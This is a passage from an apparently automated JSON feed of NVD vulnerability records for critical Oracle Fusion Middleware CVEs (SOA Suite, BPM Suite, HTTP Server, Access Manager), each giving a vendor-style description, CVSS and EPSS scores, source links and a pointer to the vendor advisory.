repeatable crash (complete DOS) of Oracle SOA Suite. CVSS 3.1 Base Score 9.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:23.043Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91225","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00441,"percentile":0.38009,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91225&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91225","type":"primary","publishedAt":"2026-10-20T22:20:23.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91225&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91225, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91224","cveId":"CVE-2026-91224","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:22.937Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91224","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00328,"percentile":0.2572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91224&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91224","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91224","type":"primary","publishedAt":"2026-10-20T22:20:22.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91224&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91224, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91222","cveId":"CVE-2026-91222","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow (11g+)).","summary":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow (11g+)).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle Business Process Management Suite.  While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow (11g+)).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle Business Process Management Suite.  While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:22.697Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91222","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38615,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91222&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91222","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91222","type":"primary","publishedAt":"2026-10-20T22:20:22.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91222&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91222, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91221","cveId":"CVE-2026-91221","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:22.580Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91221","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00522,"percentile":0.44007,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91221&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91221","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91221","type":"primary","publishedAt":"2026-10-20T22:20:22.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91221&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91221, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91220","cveId":"CVE-2026-91220","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow).","summary":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:22.470Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91220","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0045,"percentile":0.3887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91220","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91220","type":"primary","publishedAt":"2026-10-20T22:20:22.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91218","cveId":"CVE-2026-91218","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data as well as  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data as well as  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:22.240Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91218","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00365,"percentile":0.30094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91218","type":"primary","publishedAt":"2026-10-20T22:20:22.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91216","cveId":"CVE-2026-91216","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:22.013Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91216","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00522,"percentile":0.44007,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91216&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91216","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91216","type":"primary","publishedAt":"2026-10-20T22:20:22.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91216&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91216, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91214","cveId":"CVE-2026-91214","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:21.787Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91214","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0045,"percentile":0.38827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91214&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91214","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91214","type":"primary","publishedAt":"2026-10-20T22:20:21.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91214&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91214, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87347","cveId":"CVE-2026-87347","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).","summary":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HTTP Server.  While the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle HTTP Server accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HTTP Server.  While the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle HTTP Server accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:12.357Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87347","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00376,"percentile":0.31262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87347&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87347","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87347","type":"primary","publishedAt":"2026-10-20T22:20:12.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87347&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87347, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87337","cveId":"CVE-2026-87337","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).","summary":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 10.0 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  